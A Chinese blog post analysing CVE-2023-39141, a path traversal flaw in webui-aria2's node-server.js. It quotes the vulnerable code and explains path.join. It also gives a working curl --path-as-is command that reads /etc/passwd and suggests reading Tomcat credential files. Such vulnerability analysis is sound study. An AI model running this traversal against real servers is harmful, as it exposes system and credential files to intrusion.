前言:
在偶然一次的渗透靶机的时候,上网查询Aria2的历史漏洞,发现了这个漏洞,但是网上并没有对应的漏洞解释,于是我就就源代码进行分析,发现这是一个非常简单的漏洞,于是发这篇文章跟大家分享一下。
Aria2
aria2 是一款用于下载文件的实用程序。支持的协议包括 HTTP(S)、FTP、SFTP、BitTorrent 和 Metalink。aria2 可以从多个来源/协议下载文件,并尝试利用您的最大下载带宽。它支持同时从 HTTP(S)/FTP/SFTP 和 BitTorrent 下载文件,同时将从 HTTP(S)/FTP/SFTP 下载的数据上传到 BitTorrent 群。使用 Metalink 的块校验和,aria2 会在下载文件(如 BitTorrent)时自动验证数据块。
CVE-2023-39141
项目链接:
https://github.com/ziahamza/webui-aria2/
漏洞类型:
路径遍历
根本原因
https://github.com/ziahamza/webui-aria2/blob/109903f0e2774cf948698cd95a01f77f33d7dd2c/node-server.js#L10 接受来自 URL 输入的文件名,但没有将其清理到同一目录中。
概念证明:
当使用“node-server.js”时,攻击者可以简单地请求服务路径之外的文件
curl --path-as-is http://localhost:8888/../../../../../../../../../../../../../../../../../../../../../../etc/passwd
根本原因
攻击者可能读取 www 用户可以读取的任何文件。
www用户是一个低权限账户
漏洞分析
这是漏洞产生的那段js代码
var http = require("http"),
url = require("url"),
path = require("path"),
fs = require("fs");
port = process.argv[2] || 8888;
http
.createServer(function(request, response) {
var uri = url.parse(request.url).pathname,
filename = path.join(process.cwd(), "docs", uri);
var extname = path.extname(filename);
var contentType = "text/html";
switch (extname) {
case ".js":
contentType = "text/javascript";
break;
case ".css":
contentType = "text/css";
break;
case ".ico":
contentType = "image/x-icon";
break;
case ".svg":
contentType = "image/svg+xml";
break;
}
fs.exists(filename, function(exists) {
if (!exists) {
response.writeHead(404, { "Content-Type": "text/plain" });
response.write("404 Not Found\n");
response.end();
return;
}
if (fs.statSync(filename).isDirectory()) filename += "/index.html";
fs.readFile(filename, "binary", function(err, file) {
if (err) {
response.writeHead(500, { "Content-Type": "text/plain" });
response.write(err + "\n");
response.end();
return;
}
response.writeHead(200, { "Content-Type": contentType });
response.write(file, "binary");
response.end();
});
});
})
.listen(parseInt(port, 10));
console.log("WebUI Aria2 Server is running on http://localhost:" + port);
那我们来分析一下这段出问题的代码
filename = path.join(process.cwd(), "docs", uri);
process.cwd():
process.cwd() 是 Node.js 提供的一个内置方法,它返回当前进程的工作目录(current working directory)。也就是说,它返回的是你在执行该 Node.js 脚本时所在的目录的绝对路径。
比如,如果你在 /home/user/project 目录下运行脚本,那么 process.cwd() 会返回 /home/user/project。
path.join():
path.join() 是 Node.js 中 path 模块提供的一个方法,用来拼接文件路径。它的作用是将多个路径片段拼接成一个完整的路径,并自动处理不同操作系统上的路径分隔符(例如,Windows 上使用 \,Unix/Linux 上使用 /)。
这个方法非常有用,因为它能确保路径拼接是跨平台兼容的,不会因为不同操作系统的路径规则而出错。
"docs" 和 uri:
"docs" 是路径的一个部分,通常是一个文件夹名。
uri 是一个变量,它应该包含一个相对路径或文件名,表示在 "docs" 文件夹中的某个具体文件或资源的路径。
因此再加上--path-as-is,就会触发路径遍历的漏洞
curl --path-as-is 是 curl 命令的一个选项,它的作用是禁用路径规范化。具体来说,这个选项告诉 curl 在处理 URL 路径时保持路径的原始形式,而不自动进行任何路径规范化(即不对路径中的 .. 和 / 等部分进行优化)。
总之来说这段代码就是将这三项拼接,但是并没有做任何的过滤,导致了目录遍历的存在,后面的代码就是回显给前端。
我们看一下漏洞复现,我成功的读取到了/etc/passwd敏感文件,我们甚至可以去读取到其他文件,比如apache tomcat的密码配置文件。